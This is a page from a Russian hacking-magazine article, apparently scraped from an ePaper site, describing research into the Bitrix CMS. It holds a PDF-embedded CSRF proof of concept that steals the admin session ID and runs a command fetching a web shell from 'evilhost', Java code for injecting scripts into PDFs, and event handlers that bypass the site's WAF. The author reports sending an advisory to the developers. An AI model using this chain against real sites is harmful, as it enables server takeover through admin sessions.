JIT SPRAY ÃÂÃÂÃÂÛØ× TDSS - Xakep Online
JIT SPRAY ÃÂÃÂÃÂÛØ× TDSS - Xakep Online
JIT SPRAY ÃÂÃÂÃÂÛØ× TDSS - Xakep Online
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
ВЗЛОМ<br />
Пример XSS, найденной на сайте SecurityLab.Ru<br />
Диалог подтверждения отправки запроса HTTP из<br />
PDF. Не высвечивается при отправке запроса на<br />
тот же домен, на котором расположен PDF<br />
var a = Get("http://targethost:6448/bitrix/admin/<br />
user_admin.php?lang=ru")<br />
var sessid = (Substr(a,At(a,"sessid=")+7,32))<br />
Post("http://targethost:6448/bitrix/admin/php_command_<br />
line.php?mode=frame&lang=ru",Concat("sessid=",sessi<br />
d,"&query=system%28%27wget http://evilhost:6448/s.<br />
txt –O shell.php%27%29%3B"),"application/x-www-formurlencoded")<br />
Для создания PDF-документа можно было воспользоваться триальной<br />
версией Adobe Livecycle Designer (adobe.com/go/trylivecycle), но<br />
дистрибутив весил целых 3 Гб. Поэтому я решил скачать готовый PDF<br />
с каким-нибудь скриптом и просто заменить текст самого скрипта. Для<br />
работы с форматом PDF нашлась прекрасная бесплатная библиотека<br />
iText (itextpdf.com) под Java. Функция для замены скрипта в документе<br />
получилась такая:<br />
public static void replacePDFScript(<br />
String filename, String script)<br />
{<br />
try<br />
{<br />
PdfReader reader = new PdfReader(filename);<br />
XfaForm xfa = new XfaForm(reader);<br />
Document doc = xfa.getDomDocument();<br />
NodeList list = doc.getElementsByTagName("script");<br />
list.item(0).setTextContent(script);<br />
PdfStamper stamper = new PdfStamper(reader,<br />
new FileOutputStream(filename+"_mod.pdf"));<br />
xfa.setDomDocument(doc);<br />
xfa.setChanged(true);<br />
XfaForm.setXfa(xfa, stamper.getReader(),<br />
stamper.getWriter());<br />
stamper.close();<br />
}<br />
catch (Exception e) {<br />
e.printStackTrace();<br />
}<br />
}<br />
Согласись, использовать сие всяко проще, чем скачивать 3 Гб платного<br />
софта. Теперь немного о том, что касается ограничений безопасности<br />
Adobe Acrobat на отправку запросов из документа. Сам PDFдокумент,<br />
ясное дело, может быть открыт как через ActiveX-компонент<br />
Adobe Acrobat в браузере, так и напрямую из локального файла в окне<br />
Acrobat’а. По умолчанию все запросы, которые посылает PDF-документ,<br />
требуют подтверждения со стороны пользователя. Высвечивается окно с<br />
предложением разрешить отправку запросов с домена, на котором расположен<br />
документ. Замечу, что ограничения именно для домена отправителя,<br />
а не как это принято обычно — для домена, куда осуществляется<br />
068<br />
запрос. Если же открывается локальный файл, то санкция устанавливается<br />
на имя файла, что, кстати, может быть использовано для атаки с<br />
подменой содержимого. Но вот если документ открыт через браузер, и<br />
запрос отправляется на тот же домен, на котором расположен документ,<br />
никаких ограничений безопасности не срабатывает! Такой вариант<br />
открытия документа и присутствовал в Битриксе на момент исследования.<br />
Собственно, на этом PoC-эксплоит был готов. Я зашел от имени<br />
нового пользователя в свой локальный Битрикс, на котором проводил<br />
эксперименты, создал заявку в модуле «техническая поддержка» и прикрепил<br />
к ней полученный PDF. Затем перелогинился от администратора<br />
и просмотрел заявку от пользователя, после чего открыл содержащийся<br />
в ней документ. На экране отобразился совершенно чистый белый лист,<br />
никаких предупреждений, никаких сообщений. Результат работы эксплойта<br />
красовался по адресу http://targethost:6448/bitrix/admin/shell.php.<br />
Получилась очень показательная демонстрация атаки CSRF, которая<br />
часто критически недооценивается разработчиками. Если строго подходить<br />
к классификации, уязвимость, конечно, не простая CSRF. Здесь<br />
злоумышленник может изменять заголовки HTTP-запроса, и главное —<br />
работать с ответом сервера.<br />
ÂÀÓ, WAF!<br />
Красивая реализация CSRF через PDF подстегнула проделать аналогичный<br />
трюк с помощью первой обнаруженной уязвимости XSS. Но для<br />
этого необходимо было обойти «проактивную защиту», которая уже была<br />
исправлена с момента моих последних раскопок (см. статью «Сказки<br />
XSSахеризады»). Тут было два вектора атаки — найти способ обхода<br />
фильтрации либо существующих выражений, либо не фильтруемых. Учитывая,<br />
что первый вектор я уже исследовал и показал на СС09, решил<br />
пробиваться по второму. Тут ничего нового не придумаешь, воспользовался<br />
методами, описанными в статье «Сказки XSSахеризады» и полез<br />
в документацию на броузерные HTML. 15 минут раскопок принесли<br />
плоды — под InternetExplorer нашлись два метода onmouseenter и<br />
onmouseleave. Это аналоги фильтруемых WAF исключений onmouseover,<br />
onmouseout. То, что доктор прописал :). Чтобы сделать атаку кроссбраузерной,<br />
пришлось еще немного порыться в документации... и в<br />
итоге нашелся интересный метод onselectstart, который работал и в IE,<br />
и в Chrome. Причем в случае с Chrome ивент срабатывает просто при<br />
клике, а для IE требуется еще провести по тексту, как при выделении.<br />
На этом этапе уже ничто не мешало осуществить второй вариант CSRF<br />
и, опять-таки, получить веб-шелл. К сожалению, день уже заканчивался,<br />
с момента начала исследования прошло семь часов, оформить все<br />
найденное в приличные advisory я уже не успевал, поэтому просто пошел<br />
спать.<br />
ÀÍÒÐÀÊÒ È ÒÐÅÒÈÉ ÀÊÒ<br />
Через несколько дней удалось снова выкроить время и вернуться к<br />
исследованию движка. Первым делом был написан advisory и отправлен<br />
разработчикам. Нехитрый список уязвимостей содержал CSRF via<br />
PDF, XSS в тэге [URL] и новые методы обхода WAF. Теперь надо было<br />
написать пример для заливки шелла через две уязвимости (XSS+WAF<br />
XÀÊÅÐ 09 /140/ 10